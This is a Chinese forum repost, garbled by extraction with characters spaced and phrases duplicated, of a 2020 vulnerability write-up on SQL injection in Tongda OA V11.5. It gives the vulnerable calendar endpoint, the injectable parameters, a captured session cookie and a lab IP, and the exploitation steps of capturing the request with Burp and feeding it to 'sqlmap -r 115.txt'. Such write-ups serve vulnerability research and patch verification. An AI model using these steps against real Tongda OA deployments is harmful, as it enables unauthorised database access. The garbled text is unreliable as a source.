搜索

[702] 2020-09-12_通达OA(V11.5)SQL注入漏洞

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2020-09-12_通达OA(V11.5)SQL注入漏洞 通 达 O A ( V 1 1 . 5 ) S Q L 注 入 漏 洞 b g b i n g 安 全   2 0 2 0 - 0 9 - 1 2 漏 洞 详 细 漏 洞 详 细 c o o k i e 注 入 参 数 注 入 参 数 漏 洞 漏 洞 U R L 漏 洞 使 用 ， 这 里 我 们 使 用 漏 洞 使 用 ， 这 里 我 们 使 用 h a c k b a r 。 。 b u r p 抓 包 ， 并 且 复 制 到 文 本 里 ， 文 本 名 为 抓 包 ， 并 且 复 制 到 文 本 里 ， 文 本 名 为 1 1 5 . t x t P H P S E S S I D = e 8 7 n 2 d v q f 4 2 k 4 o m 2 l u n f f 9 m 0 g 3 s t a r t t i m e = 1 2 & e n d t i m e = 1 5 & v i e w = m o n t h & c o n d i t i o n = 1 h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 1 4 : 8 0 8 1 / g e n e r a l / a p p b u i l d e r / w e b / c a l e n d a r / c a l e n d a r l i s t / g e t c a l l i s t
使 用 使 用 s q l m a p 进 行 注 入 测 试 进 行 注 入 测 试 s q l m a p   - r   1 1 5 . t x t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理